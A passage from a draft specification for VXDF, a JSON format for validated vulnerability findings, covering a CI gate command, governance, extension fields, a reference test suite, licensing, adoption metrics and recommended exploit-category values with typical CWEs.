vxdfutil gate report.vxdf.json --policy-file ci_policy.yaml
```

- **Functionality:**
  - Evaluates `exploitFlows` against defined criteria.
  - `--fail-on-severity`: Exits with a non-zero status if flows of specified `severity.level` (or higher, based on a defined order) are present. Could also check CVSS scores (e.g., `--fail-on-cvss-basescore >= 7.0`).
  - `--max-days-since-validation`: Fails if `validatedAt` is older than a specified threshold.
  - `--policy-file`: Allows complex policies to be defined in a separate file (e.g., fail if any `VULNERABLE_AND_OUTDATED_COMPONENTS` finding with a CRITICAL CVE exists, or if specific `evidenceType`s are missing for certain `category`s).
  - Exits with 0 if compliant, non-zero if policy violations are found, printing details of violations.
- **Purpose:** Automated decision-making in CI/CD pipelines (e.g., failing builds, blocking deployments) based on *validated* risks.

Key Points for the Reference CLI based on VXDF v1.0.0:

- **Leverages Rich Structure:** The CLI commands would be designed to fully utilize and expose the detailed information available in the refined VXDF schema (structured severity, detailed evidence types and data, component information).
- **User Experience:** Output formatting would be crucial for making the rich data accessible (e.g., options for JSON, YAML, human-readable text, verbosity levels for complex fields like `Evidence.data`).
- **Extensibility:** The CLI itself might support plugins or custom formatters/checkers to handle organization-specific `customProperties` or `x-` extensions.

- **Focus on "Validated":** All operations would implicitly or explicitly reinforce that VXDF deals with findings that have undergone a validation process and are backed by evidence.

Such a reference implementation (library and CLI) would significantly lower the barrier to entry for adopting VXDF, provide common utilities, demonstrate best practices for interacting with VXDF data, and serve as an executable form of the specification for validation and testing. It would likely be an open-source project to encourage community contribution and evolution alongside the VXDF standard itself.

Appendix E: Proposal Lifecycle and Governance

To ensure VXDF becomes a robust, widely-adopted standard, a clear governance model and lifecycle process is proposed:

Development and Versioning: VXDF will be maintained in a public repository (for example, on GitHub under an open governance organization or standards body). The specification, schema, and reference implementations will reside there. The maintainers will use semantic versioning for the spec:

- Version 1.0 is the initial release. Backward-compatible improvements (clarifications, minor new optional fields that don't break existing files) would lead to 1.1, 1.2, etc. Backward-incompatible changes or major new features would result in 2.0, and so on.

- A **draft** status is used for versions in development. For instance, this document is a draft for v1.0. During the draft phase, feedback is solicited and changes can be made rapidly. Once finalized, v1.0 will be "frozen" except for critical errata.

- **Proposal for changes:** Anyone (community member, tool vendor, etc.) can propose a change by opening an issue or pull request in the repo. For example, if a new type of evidence needs special handling, they might propose adding a field in v1.1 or v2.0. The maintainers will discuss and may approve it for inclusion in a future version.

- We anticipate an **editorial board or working group** to oversee VXDF. This group might be formed under an organization such as OWASP or OASIS, or a consortium of interested parties (tool vendors, users, researchers). The board's role is to vet changes, maintain quality, and drive adoption efforts.

- For significant changes (especially those causing backward incompatibility), a broader review will be done, possibly with an RFC-style process (e.g., publishing a VXDF 2.0 draft for public comment for a period, then finalizing).

Releases and Maintenance:

- The spec and JSON schema for each version will be published (e.g., as a document and a schema file on a website or repository). Older versions remain available. If a serious issue is found (like a security concern or a bug in schema), an errata or patch version might be released (e.g., 1.0.1).

- Tooling (like the reference CLI) will track the latest version, but may support reading older versions for backward compatibility. For example, a v2.0 tool might still accept a v1.0 VXDF file and either convert it or warn but attempt to parse known fields.

Governance Rules:

- The project will operate openly. Meeting notes (if the board meets), design discussions, and decisions will be logged publicly.

- Decisions about the spec ideally are made by **rough consensus** (as is common in standards): if most agree and no strong objections, a change goes through. For contentious issues, there may be a voting among the board or deferring until more data is gathered.

- The governance model will include roles like **maintainers/editors** (who can merge changes and publish new versions) and **contributors** (anyone from the community who contributes).

- If an industry standards body (like OASIS or ISO) is later involved, the governance may adapt to their processes (for instance, OASIS might form a Technical Committee for VXDF). At the start, a lightweight open-source governance is easier to move quickly and encourage participation.

- **Governance of Extensions:** While individual organizations can use extensions freely (x- fields), if an extension becomes widely useful, the governance process would encourage folding it into the standard. For example, if multiple vendors start using `x-customSeverityScore`, the board might decide to add an official `score` field in the next version. The process for that would be the same: propose, reach consensus, add to draft, release.

Lifecycle Planning:

- We envision an iterative process: gather feedback from early adopters in the first 6-12 months after v1.0, identify pain points or missing features, and issue a v1.1 if needed relatively soon (e.g., to add clarifications or minor fields).

- Major changes (like supporting new use cases) would be planned for v2.0 perhaps a year or two out, once there is sufficient usage experience. This also gives the ecosystem time to implement v1.x and provide feedback.

- The long-term lifecycle might see VXDF integrated into other frameworks or referenced by compliance programs. The governance should remain responsive but also provide stability (frequent breaking changes would hurt adoption). Thus, a balance: not stagnant, but any breaking change must have strong justification and community buy-in.

- **Sunset of older versions:** As new versions come out, the board might eventually declare an old version deprecated (especially if a security issue arises, or if usage naturally shifts to newer versions). Even then, documents in the old format remain valid as historical artifacts, but tooling may warn that it’s outdated.

Community and Adoption:

- Part of governance is also promoting the standard. The VXDF working group should engage with relevant communities (OWASP vulnerability reporting groups, CERTs, software vendors, open-source projects) to evangelize the format.

- The lifecycle includes periodic reviews of how well adoption is going (see Appendix H on success metrics) and adjusting strategy accordingly.

- There may be “plugfests” or interoperability tests organized where different tools exchange VXDF files to ensure consistency (for example, a static tool outputs VXDF and a dynamic tool reads it to perform validation).

In short, the VXDF standard will be managed in an open, collaborative manner. Its evolution will be guided by real-world needs and careful version management. Everyone is encouraged to participate in the process – from proposing enhancements to writing implementations – under a governance model that values transparency and consensus.

Appendix F: Extension Mechanism

While VXDF v1.0.0 aims to cover the common core of validated data flow reporting and vulnerability details, it's understood that specific tools, organizations, or evolving use cases may require additional, specialized data. To accommodate this without fragmenting the standard or invalidating core schema conformance, VXDF includes clear and flexible extension mechanisms.

VXDF supports two primary ways to include custom data:

1. **Dedicated `customProperties` Bags:**
    - Several key objects within the VXDF schema (such as `VXDFPayload`, `ExploitFlow`, `ApplicationInfo`, `Location`, `Evidence`, `AffectedComponent`, and `TraceStep`) include an optional property named `customProperties`.
    - This `customProperties` field is defined as a JSON object that can contain arbitrary key-value pairs. The values themselves can be simple (strings, numbers, booleans) or complex (objects, arrays).
    - **Purpose:** This is the **preferred method** for grouping multiple related custom fields relevant to a specific VXDF object. It keeps custom data neatly organized within a designated namespace.
    - **Schema Implementation:** Typically, the `customProperties` field in the schema is defined with `"type": "object"` and `"additionalProperties": true`, allowing any valid JSON structure within it.
    - **Example:**

```
"ExploitFlow": {
  // ... standard fields ...
  "customProperties": {
    "com.example.internalRiskScore": 7.5,
    "com.example.trackingSystem": {
      "ticketId": "VULN-5678",
      "statusLink": "https://tracker.example.com/VULN-5678"
    },
    "x-old-scanner-id": "SCAN001-ITEM003" // Still advisable to namespace keys even here
  }
}
```

2. **`x-` Prefixed Fields:**
    - For situations where custom data needs to be at the same level as standard fields (i.e., not nested within a `customProperties` bag), or for extending objects that might not have a predefined `customProperties` field

(though most major ones in VXDF 1.0.0 do), custom fields **MUST** be prefixed with `x-`.
    - This convention is widely used in other standards (e.g., HTTP headers) to denote non-standard, experimental, or vendor-specific extensions.
    - **Schema Implementation:** The VXDF JSON schema typically enforces `additionalProperties: false` on objects to prevent arbitrary non-standard fields. However, it simultaneously uses `patternProperties: {"^x-": {}}` to explicitly permit fields that begin with the `x-` prefix.
    - **Examples (as in the original text):**
        - `"x-riskScore": 4.7` (if an organization prefers it at the top level of an object rather than in `customProperties`)
        - `"x-internalId": 12345`
        - `"x-cve-details-url": "https://example.com/cve-info/CVE-2025-1234"` (Note: The refined schema has a `references` array in `ExploitFlow` that could officially hold CVEs, but this illustrates the `x-` pattern).

Guidelines for Using All Extensions (both `customProperties` content and `x-` fields):

- **Purposeful and Namespace-Aware Naming:**
    - For keys within `customProperties` or for `x-` prefixed field names, choose names that clearly identify the purpose and, if possible, the originating organization or tool to prevent collisions. Using a reverse domain name prefix (e.g., `"com.example.myCustomField"`, `"x-com.example-myCustomField"`) for keys within `customProperties` or for the part after `x-` is a good practice.
    - Avoid overly generic names like `x-priority` or `customProperties.priority` without further namespacing, as different tools might interpret them differently.
- **Avoid Conflicts with Standard Fields:** Extensions **MUST NOT** redefine or semantically override standard VXDF fields. If the standard provides a field for certain information (e.g., `severity.level`), use that field. Extensions are for *additional* information not covered by the core schema.
- **Documentation is Crucial:** Producers of VXDF documents that include custom extensions (either in `customProperties` or as `x-` fields) **SHOULD** document these extensions for consumers. This documentation should explain the meaning, structure, and expected values of the custom data. This can be provided separately or, for minor notes, even within the VXDF itself using a descriptive `x-` field at the root or in `metadata`.
- **Data Types:** All extension data (values in `customProperties` or for `x-` fields) **MUST** be valid JSON data types (string, number, boolean, object, array, null).
- **Transition to Standard (for `x-` fields and common `customProperties` keys):**

    - If an `x-` prefixed field or a key within `customProperties` proves to be broadly useful and adopted by a significant part of the community, it **SHOULD** be proposed for inclusion as a standard field in a future version of the VXDF specification.
    - The VXDF governance process (see Appendix D) will manage the review and potential adoption of such common extensions. This ensures the standard evolves based on real-world needs while preventing long-term fragmentation.
- **Structured Extensions are Permitted:**
    - Values within `customProperties` and the values of `x-` prefixed fields can be complex JSON objects or arrays, not just primitive types.

```
"customProperties": {
  "com.example.runtimeContext": {
    "os": "Linux 5.4",
    "javaVersion": "11.0.12"
  }
},
"x-com.example-detailed-timing": {
  "startTime": "2025-05-17T10:00:00Z",
  "endTime": "2025-05-17T10:00:05Z",
  "durationMs": 5000
}
```

    - The VXDF schema itself typically does not validate the internal structure of data within `customProperties` or `x-` fields beyond ensuring it's valid JSON. Consumers not aware of specific extensions will typically ignore them.

Consumer Handling of Extensions:

- Conforming VXDF consumers **MUST** tolerate the presence of unrecognized keys within `customProperties` bags.

- Conforming VXDF consumers **MUST** ignore any `x-` prefixed fields they do not recognize without erroring, provided the rest of the document is conformant.
- Consumers **MAY** provide features to generically surface or list unknown extensions (e.g., displaying them in a separate "Additional Information" section).
- Advanced consumers **MAY** be configured to understand and process specific, documented extensions relevant to their use case.

Caution:

- Do not rely on extensions for conveying critical information essential for basic understanding of the vulnerability if sharing VXDF documents with parties who may not be aware of your specific extensions. The core, standardized VXDF fields should always be sufficient for fundamental interoperability.
- Extensions should enrich, not replace, the standard information.

Summary:

The VXDF extension mechanisms (`customProperties` bags and `x-` prefixed fields) provide essential flexibility, allowing the standard to accommodate specific organizational or tool-based needs and to foster innovation. This approach ensures that VXDF can be adapted for specialized use cases while maintaining a stable, interoperable core and a pathway for useful extensions to become part of the official standard over time. The VXDF community will play a role in monitoring common extensions and guiding their potential standardization.

Appendix G: Reference Test Suite

To verify implementations of the VXDF v1.0.0 specification and ensure consistency across different tools and platforms, a reference test suite **SHOULD** be developed and maintained alongside the specification. This test suite would typically contain a collection of VXDF JSON example files and potentially automated scripts or guidelines to validate producer and consumer behavior.

Purposes of the Reference Test Suite:

- **Validate Parsers/Generators:** Tool developers (both producers and consumers of VXDF) can use the suite to test their VXDF reading, writing, and validation logic against the normative schema and semantic rules.
- **Prevent Regressions:** As the VXDF specification evolves (e.g., to v1.0.1, v1.1.0), the test suite helps ensure that changes do not inadvertently break compatibility with previously valid documents or common usage patterns where backward compatibility is expected.

- **Demonstrate Correct Usage:** Valid examples serve as practical illustrations of how to correctly structure VXDF documents for various scenarios.
- **Clarify Edge Cases and Boundaries:** Test cases can illustrate how to handle tricky, less common, or boundary conditions according to the specification, helping implementers develop more robust tools.

Contents of the Test Suite:

The test suite **SHOULD** include, but not be limited to, the following categories of files and checks:

1. Valid VXDF v1.0.0 Example Files:
   A collection of .vxdf.json files that are fully conformant with the VXDF v1.0.0 normative schema and semantic rules. Each file should have a clear description of the scenario it represents. Examples:

   - `valid-minimal-flow.json`: A VXDF document with a single `ExploitFlow` representing a flow-based vulnerability, using only the absolute minimum required fields from the refined schema (e.g., root `id`, `generatedAt`, `exploitFlows[0].id`, `title`, structured `severity` with only `level`, `category`, one `evidence` item with minimal `data`).
   - `valid-minimal-nonflow.json`: Similar to above, but for a non-flow vulnerability using `affectedComponents` with minimal required fields.
   - `valid-full-features.json`: A comprehensive example showcasing many optional fields and complex structures of the refined schema, including multiple `ExploitFlows` (both flow-based and non-flow), detailed `Location` objects with various `locationType`s, multiple `TraceStep`s with `evidenceRefs`, detailed `AffectedComponent` objects with PURLs, rich structured `severity` including full CVSSv3.1 and CVSSv4.0 objects, and multiple `Evidence` items with diverse `evidenceType`s and their fully populated `data` structures.
   - `valid-multiple-evidence.json`: An `ExploitFlow` with several distinct `Evidence` items, each with a different `evidenceType` and correctly structured `data`, demonstrating the richness of the evidence model.
   - `valid-uuid-formats.json`: Correctly formatted UUIDs for `VXDFPayload.id`, `ExploitFlow.id`, and `Evidence.id`.
   - `valid-cvss-variants.json`: Examples showing correct usage of both `cvssV3_1` and `cvssV4_0` objects within `severity`, including presence/absence of optional temporal/environmental metrics.
   - `valid-custom-properties.json`: Demonstrates valid use of `customProperties` bags at various levels (root, `ExploitFlow`, `Evidence`, etc.).

    - `valid-x-extensions.json`: Demonstrates valid use of `x-` prefixed extension fields where permitted by the schema.
    - `valid-all-location-types.json`: Examples exercising different `Location.locationType` enum values and their relevant specific properties.
    - `valid-all-component-types.json`: Examples exercising different `AffectedComponent.componentType` enum values.
    - `valid-all-evidence-types.json`: A suite of smaller files, each focused on correctly structuring one or two of the defined `Evidence.evidenceType` values and their corresponding `Evidence.data` schemas.
2. Invalid VXDF v1.0.0 Files:
   A collection of JSON files that intentionally violate specific rules of the VXDF v1.0.0 schema or semantic requirements. These are crucial for testing the robustness of validators and parsers. Examples:

    - `invalid-missing-root-id.json`: Root `id` property is missing.
    - `invalid-wrong-vxdfVersion.json`: `vxdfVersion` is not "1.0.0".
    - `invalid-exploitflow-id-not-uuid.json`: An `ExploitFlow.id` is not a valid UUID.
    - `invalid-missing-exploitflow-title.json`: A required `title` in an `ExploitFlow` is missing.
    - `invalid-severity-not-object.json`: `ExploitFlow.severity` is a string instead of the required object.
    - `invalid-severity-missing-level.json`: `ExploitFlow.severity.level` is missing.
    - `invalid-cvss-vector-malformed.json`: Incorrect CVSS vector string format.
    - `invalid-no-evidence.json`: An `ExploitFlow` has an empty `evidence` array or is missing the `evidence` property.
    - `invalid-evidence-data-mismatch.json`: An `Evidence` item has an `evidenceType` (e.g., `HTTP_REQUEST_LOG`) but its `data` object does not conform to the schema for `HttpRequestLogData` (e.g., missing `method` or `url`).
    - `invalid-evidence-data-wrong-type.json`: A field within an `Evidence.data` structure has an incorrect data type (e.g., `HttpRequestLogData.method` is an integer).
    - `invalid-bad-enum-value.json`: Uses an undefined value for an enumerated field (e.g., `severity.level: "EXTREME"`, `evidenceType: "MAGIC_PROOF"`, `Location.locationType: "CPU_REGISTER"`).
    - `invalid-locus-undefined.json`: An `ExploitFlow` provides neither (`source` AND `sink`) NOR `affectedComponents`.
    - `invalid-non-x-extra-field.json`: Contains an additional property (not prefixed with `x-` and not in a `customProperties` bag) where `additionalProperties: false` is set in the schema.
    - `invalid-type-mismatch.json`: A property expecting an integer receives a string, or an array receives an object, etc.

3. Boundary and Edge Case Files:
   Files designed to test parser and consumer resilience and correct handling of less common but valid scenarios:

   - `edge-empty-optional-arrays.json`: Optional arrays like `steps`, `tags`, `affectedComponents`, `correlationGuids` are present but empty.
   - `edge-all-optional-fields-null.json`: All optional fields that permit `null` are set to `null`.
   - `edge-long-strings.json`: Contains extremely long (but valid) string values in fields like `description`, `snippet`, or `Evidence.data` fields to test for truncation or buffer issues.
   - `edge-special-characters.json`: String fields containing various special characters that require proper JSON escaping (newlines, tabs, quotes, Unicode characters beyond basic ASCII).
   - `edge-zero-steps-in-flow.json`: A flow-based vulnerability with `source` and `sink` defined but an empty `steps` array (direct flow).
   - `edge-complex-location-uris.json`: Uses complex but valid URIs in `Location.uri`.
   - `edge-multiple-cwe.json`: An `ExploitFlow` with multiple CWEs listed.
   - `edge-multiple-evidence-refs.json`: `TraceStep` or `AffectedComponent` objects referencing multiple `Evidence.id`s.

Automation:

- The test suite repository **SHOULD** include automated scripts (e.g., using a common scripting language like Python and a standard JSON Schema validator library) that can:
  - Iterate through all `valid-*.json` files and confirm they pass validation against the normative VXDF v1.0.0 JSON Schema.
  - Iterate through all `invalid-*.json` files and confirm they *fail* validation, ideally capturing the specific validation errors expected.
- This automation serves as a double-check on the schema itself and provides a quick compliance check for any JSON Schema validator tool or VXDF-consuming implementation.

Tool Maker Guidance:

- Producers **SHOULD** use the test suite to verify their output is conformant.
- Consumers **SHOULD** use the test suite to verify they can correctly parse valid documents (including all features) and gracefully handle or reject invalid documents, reporting appropriate errors.

Continuous Integration (CI):

- The VXDF specification project (if hosted in a version control system) **SHOULD** integrate the automated test suite execution into its CI pipeline. Any proposed changes to the schema or specification text that impact conformance **SHOULD** trigger the test suite to catch regressions or unintended compatibility breaks.

Adding New Tests:

- The test suite **SHOULD** be a living resource. As new edge cases are discovered, ambiguities in the spec are clarified, or new minor features are added in future patch/minor versions, corresponding test cases should be added to the suite.

Interoperability Testing:

- Beyond static file validation, the VXDF community **MAY** organize "plugfests" or interoperability events where different tool implementations (producers and consumers) exchange VXDF documents to ensure semantic interoperability and consistent interpretation.
- The community **SHOULD** be encouraged to contribute sanitized, real-world VXDF samples (that are conformant) to a shared repository to enrich the test cases and demonstrate diverse usage.

Performance Considerations:

- While not a strict conformance aspect for the format itself, the test suite **MAY** include a few very large (but valid) VXDF files (e.g., with thousands of `ExploitFlows` or very large `Evidence.data` content) as a "stress test." This helps implementers consider the performance implications of parsing and processing large VXDF documents.

Usage of Test Suite by Others:

- Organizations developing or adopting VXDF-supporting tools can incorporate this reference test suite into their own testing processes.
- Vendors **MAY** state their conformance by referencing their successful passing of the official VXDF reference test suite.

Conclusion:

A comprehensive reference test suite is an essential companion to the VXDF v1.0.0 specification. It translates the normative rules and semantic intent of the standard into practical, testable examples and checks. It will evolve with the specification and is critical for ensuring consistency, quality, and widespread, reliable adoption of VXDF. When a tool or system claims to "support VXDF v1.0.0," its ability to correctly process the reference test suite serves as a key verification of that claim.

Appendix H: Licensing and Patent Stance

To encourage broad adoption, the VXDF specification and associated artifacts (schema, documentation, reference code) are made available under liberal terms:

- **Specification Text License:** The text of this specification (and any official translations or versions) is released under a Creative Commons Attribution license (CC BY 4.0) or a similarly permissive license. This means anyone can copy, distribute, and adapt the spec text, as long as they give credit. This is important for transparency and for inclusion in other documentation. (We consider CC BY to allow quoting parts of the spec in software documentation, for instance, with attribution.)

- **Schema and Code License:** The JSON schema and any reference implementation code will be under an OSI-approved open source license, likely MIT or Apache 2.0. These licenses allow integration into both open source and proprietary tools without issue. Apache 2.0, in particular, includes an explicit patent grant which can be reassuring in standards contexts.

- **No Patent Encumbrances:** The VXDF working group operates under a **royalty-free (RF) patent policy**. This means contributors must agree not to assert any patent claims they have that are essential to implementing VXDF. To our knowledge, describing a data flow in JSON is not something patentable in a way that would affect this spec, but this is a standard precaution. If someone believes they have a patent that covers some aspect of VXDF, they are strongly encouraged (or required, depending on the governance rules) to disclose it. The intent is that VXDF can be implemented by anyone without needing to pay royalties or fear legal issues.

- **Contributor Agreement:** Contributors (especially to the spec text or schema) may be asked to sign or agree to a Contributor License Agreement (CLA) or DCO (Developer Certificate of Origin) depending on the hosting organization. This just ensures that anything contributed can be relicensed under the project’s terms. For example, if the spec is under CC BY and code under MIT, the CLA would have the contributor grant those rights.

- **Trademarks:** The name “VXDF” itself might be trademarked by the project to prevent confusion (so that if someone claims something is VXDF compliant, it actually meets the standard). If so, the usage of the term will be allowed in descriptive ways (“supports VXDF”) but not to mislead (one couldn’t fork the spec and still call it VXDF unless it truly complies).

- **Patent Stance Details:** While we don't anticipate patent issues, the official stance is: VXDF is intended to be a **patent-unencumbered standard**. Any entity that contributes or that is part of the working group is expected to either disclose patents or, by policy, automatically grant a royalty-free license for any necessary patents. If an essential patent were discovered (e.g., someone holds a patent on a "method of representing code flows in JSON"), the working group would attempt to work around it or obtain a license. This is standard for open standards: we want implementers to have clarity and safety.

- **Relationship with other standards:** VXDF might reference other standards like CWE or SARIF. Those references are allowed under fair use or explicit permission (CWE is publicly available, SARIF is OASIS open standard). There is no content copied that would violate licenses; at most, we link or refer. For example, including the list of severity terms or the JSON schema structure is original here, not copied from elsewhere.

- **Licensing of examples and test files:** All example VXDF files, test suite cases, etc., will be under CC0 (public domain dedication) or a very permissive license. This allows people to use those examples in documentation, in tests, or as starting points for their own reports without worrying about copyright. Essentially, we want people to copy the example flows and modify them for their own use if helpful.

In summary, the licensing approach for VXDF is **open and permissive**. We want no barriers for adoption:

- If you're a vendor: you can implement VXDF in your closed-source product without any licensing trouble (the spec is open, no royalties).

- If you're an open source project: you can embed the schema or even fork the reference code under MIT/Apache in your project.

- If you're an academic or trainer: you can reproduce parts of the spec in a textbook or slides (with proper credit).

- If you're worried about patents: the community stance is to avoid them; by participating, stakeholders agree not to sue implementers over VXDF usage.

This way, the focus can remain on technical excellence and adoption, rather than legal nuances.

Appendix I: Success Metrics and Lifecycle Planning

How do we know if VXDF is succeeding, and what is the plan for its evolution? This appendix outlines some metrics to gauge success and thoughts on managing the standard's lifecycle in the industry.

Success Metrics:

1. **Adoption by Tools:** A primary measure is how many security tools adopt VXDF for output or input. Success would be, for example, within 1-2 years of v1.0, seeing multiple SAST and DAST vendors supporting exporting validated findings as VXDF. Open-source projects (like some OWASP projects, or popular scanners) implementing VXDF is equally important. We might set a goal: *At least 5 major tools or frameworks produce VXDF by the end of next year.* Similarly, integration tools (like vulnerability management platforms, CI pipelines) should be able to consume VXDF.

2. **Community Usage:** Tracking mentions and usage in the community. For instance:

    ○ Are CTFs or bug bounty programs using VXDF to submit findings?

    ○ Do companies have VXDF as part of their internal security testing pipeline?

    ○ Are there talks/blogs about how VXDF helped reduce false positives or improved workflow? Metrics here could be more qualitative: success stories, case studies. We could also watch downloads or traffic if the schema is hosted (e.g., how many times the schema URL is fetched might correlate to usage).

3. **Interoperability Events:** If we organize plugfests or hackathons where multiple implementations exchange VXDF files, success is measured by how smoothly that goes. If 10 different implementations can all read each others' VXDF files and interpret them correctly, that's a huge win for standardization. The count of participants in such events or the bug reports from them can be a metric (initially, many issues might be found, but over time fewer indicates maturity).

4. **Reduction in False Positive Workload:** This is more cause-and-effect and harder to measure directly, but if VXDF is doing its job, teams using tools with VXDF should see fewer false positives reaching developers. We might gather anecdotal evidence or surveys:

    ○ "Before, our static scanner reported 100 issues and only 20 were real. Now, with an automated validation step outputting VXDF, we only see the 20 real ones and fix them faster." If companies can quantify that (e.g., time to fix vulnerabilities decreased by X%, or security review hours saved), those are strong success indicators. A formal study could be done after enough adoption, to measure mean time to remediate vulnerabilities in workflows that use VXDF vs those that don't.

5. **Standardization Recognition:** Another metric is whether VXDF becomes recognized or referenced in industry standards or guidelines. For instance, if OWASP or ISO mentions VXDF as a recommended practice for reporting verified code weaknesses, that’s a sign of success. Or if vulnerability coordination bodies (like CERT or Mitre) show interest in using VXDF for certain advisories.

6. **Community Contributions:** Number of contributions to the spec or related tools. An active community (issues filed, extensions proposed, etc.) means the standard is alive and adapting. We can track number of proposals accepted, number of different contributors, etc. If only the original authors ever touch it, that might indicate limited interest; dozens of contributors would indicate widespread engagement.

Lifecycle Planning:

- **Short Term (Year 1):** Focus on awareness and pilot implementations. The working group will identify friendly partners (maybe a couple of tool vendors or projects) to implement VXDF and showcase it. Gather feedback from these early adopters to refine the spec if needed in a minor version update. Success in this phase is a stable v1.x that people are happy with.

- **Medium Term (Years 2-3):** Expand adoption. Possibly work on VXDF 2.0 if major new needs arise (for example, if users want to include other kinds of flows like control-flow exploits, or if integration with incident response dictates new fields). Ensure backward compatibility plans (maybe provide converters from v1 to v2 if needed). This phase might also involve formalizing the standard through a body (if not already done).

- **Long Term (Year 5 and beyond):** Ideally, VXDF (or its evolved form) becomes a de facto standard in AppSec. At that point, maintenance becomes about minor improvements and keeping it relevant with technology changes. The lifecycle could involve merging or coordinating with related standards. For instance, if SARIF introduces a profile for "confirmed exploits", maybe VXDF and SARIF converge or cross-reference. Or VXDF could become part of a larger security data exchange framework.

- **Version Sunsetting:** Plan how to handle multiple versions in the wild. Perhaps maintain support for each major version for a certain period (e.g., at least 5 years) so that organizations have time to upgrade. Provide clear migration guides for any breaking changes.

- **Alignment with DevSecOps lifecycle:** As CI/CD and DevOps evolve, ensure VXDF stays aligned. For example, if new practices like “shifting further left” or “autonomous remediation” come in, maybe VXDF needs to provide data for those (like hints for auto-fix? that’s speculative). Keep an eye on industry trends.

- **Feedback Loops:** Continuously solicit feedback through forums, surveys, and direct user interaction. The lifecycle plan should include periodic checkpoints (say annually) to review if VXDF is meeting its goals or if course corrections are needed (perhaps the scope needs to widen or some complexity needs trimming).

- **Promotion and Education:** Part of lifecycle success is making sure new people entering the field learn about VXDF. That might mean adding it to training curricula, writing easy tutorials, and integrating with popular pipelines by default (so that even those who aren't specifically aware of VXDF still encounter it as a default output format option in tools).

We will consider VXDF truly successful when it's no longer a novelty: it becomes a routine part of how validated security findings are handled, much like how JSON or YAML output became normal for configuration or how SARIF is now common for static analysis. At that point, the focus shifts to maintenance and incremental improvements, ensuring the format stays useful and doesn't become obsolete or replaced by something else.

Appendix J: `ExploitFlow.category` Recommended Values and Discriptions

This appendix provides a recommended list of values and their descriptions for the `ExploitFlow.category` field in the VXDF v1.0.0 specification. While the schema defines this field as a string for flexibility, adherence to this list is **STRONGLY RECOMMENDED** (as per the schema description for `ExploitFlow.category`) to promote interoperability and consistent classification of validated vulnerabilities. Producers should select the category that most accurately represents the primary nature of the validated exploit.

INJECTION

- **Display Name:** Injection
- **Definition:** Flaws that allow an attacker to send untrusted data to an interpreter, which is then executed or used to alter program execution.
- **Usage Guidance/Context:** This is a broad category covering various injection types. The specific type of injection (e.g., SQL, NoSQL, OS Command, LDAP, XPath, XXE, Expression Language Injection) should be detailed in the `ExploitFlow.title`, `description`, and often reflected in the `cwe` field.
- **Typical CWEs:** CWE-77 (Command Injection), CWE-78 (OS Command Injection), CWE-89 (SQL Injection), CWE-90 (LDAP Injection), CWE-91 (XPath Injection), CWE-502 (Deserialization of Untrusted Data - if leading to injection), CWE-611 (Improper Restriction of XML External Entity Reference - 'XXE'),

CWE-917 (Improper Neutralization of Special Elements used in an Expression Language Statement - 'Expression Language Injection').
- **Example Context:** Validated SQL injection allowing data exfiltration; validated OS command injection leading to server compromise.

BROKEN_AUTHENTICATION

- **Display Name:** Broken Authentication
- **Definition:** Vulnerabilities related to incorrect implementation of authentication mechanisms or session management, allowing attackers to compromise user accounts, passwords, session tokens, or impersonate users.
- **Usage Guidance/Context:** Covers issues like weak credential handling, session fixation, session hijacking, improper logout, password reset poisoning, missing or weak multi-factor authentication (MFA) where its absence leads to a validated exploit path.
- **Typical CWEs:** CWE-287 (Improper Authentication), CWE-306 (Missing Authentication for Critical Function), CWE-307 (Improper Restriction of Excessive Authentication Attempts), CWE-384 (Session Fixation), CWE-522 (Insufficiently Protected Credentials), CWE-613 (Insufficient Session Expiration).
- **Example Context:** A validated exploit showing session tokens are predictable or exposed, allowing an attacker to hijack an active user session.

SENSITIVE_DATA_EXPOSURE

- **Display Name:** Sensitive Data Exposure
- **Definition:** Vulnerabilities that lead to the unauthorized disclosure of sensitive information, such as personally identifiable information (PII), financial data, credentials, private keys, or proprietary business information. This can occur for data at rest or in transit.
- **Usage Guidance/Context:** Focuses on the exposure itself. If the exposure is due to another primary flaw (e.g., SQL Injection leading to data dump), INJECTION might be the primary category, with this as a consequence. However, if the core issue is, for example, data being transmitted unencrypted or stored with weak encryption, this category is appropriate.
- **Typical CWEs:** CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), CWE-311 (Missing Encryption of Sensitive Data), CWE-312 (Cleartext Storage of Sensitive Information), CWE-319 (Cleartext Transmission of Sensitive Information), CWE-327 (Use of a Broken or Risky Cryptographic Algorithm - if leading to exposure).

- **Example Context:** Validated ability to intercept and read sensitive customer PII transmitted over HTTP; discovery of weakly encrypted backup files containing user passwords that can be easily decrypted.

BROKEN_ACCESS_CONTROL

- **Display Name:** Broken Access Control
- **Definition:** Flaws in the enforcement of restrictions on what authenticated users are allowed to do. Attackers can exploit these flaws to access unauthorized functionality or data.
- **Usage Guidance/Context:** Covers issues like Insecure Direct Object References (IDOR), privilege escalation, missing function-level access control, forceful Browse to restricted pages/APIs, or modification of access control tokens/parameters. This category assumes the user is authenticated but can perform actions beyond their intended privileges.
- **Typical CWEs:** CWE-22 (Improper Limitation of a Pathname to a Restricted Directory - 'Path Traversal', if used to bypass access controls), CWE-284 (Improper Access Control), CWE-285 (Improper Authorization), CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-269 (Improper Privilege Management).
- **Example Context:** A validated exploit where a regular user can access an administrative API endpoint by simply knowing its URL, or can modify another user's data by changing an ID in a request parameter.

SECURITY_MISCONFIGURATION

- **Display Name:** Security Misconfiguration
- **Definition:** Vulnerabilities arising from insecure default configurations, incomplete or ad-hoc configurations, open cloud storage, misconfigured HTTP headers, unnecessary features enabled, or verbose error messages containing sensitive information.
- **Usage Guidance/Context:** This is a broad category. If a misconfiguration is highly specific and common (e.g., a missing security header), a more specific category might be used if defined (e.g., a future `MISSING_SECURITY_HEADER` category if added as primary). Includes issues like exposed administration consoles, default credentials unchanged, directory listing enabled on sensitive paths, or overly permissive CORS policies.
- **Typical CWEs:** CWE-2 (Environmental Security Flaws), CWE-16 (Configuration), CWE-538 (File and Directory Information Exposure), CWE-548 (Exposure of Information Through Directory Listing), CWE-1188 (Insecure Default Initialization of Resource).

- **Example Context:** A cloud storage bucket configured for public read/write access containing sensitive files; an application server admin console accessible with default credentials.

CROSS_SITE_SCRIPTING

- **Display Name:** Cross-Site Scripting (XSS)
- **Definition:** Vulnerabilities that allow attackers to inject malicious client-side scripts into web pages viewed by other users.
- **Usage Guidance/Context:** Covers Reflected XSS, Stored XSS, and DOM-based XSS. The `ExploitFlow.description` should specify the type.
- **Typical CWEs:** CWE-79 (Improper Neutralization of Input During Web Page Generation - 'Cross-site Scripting').
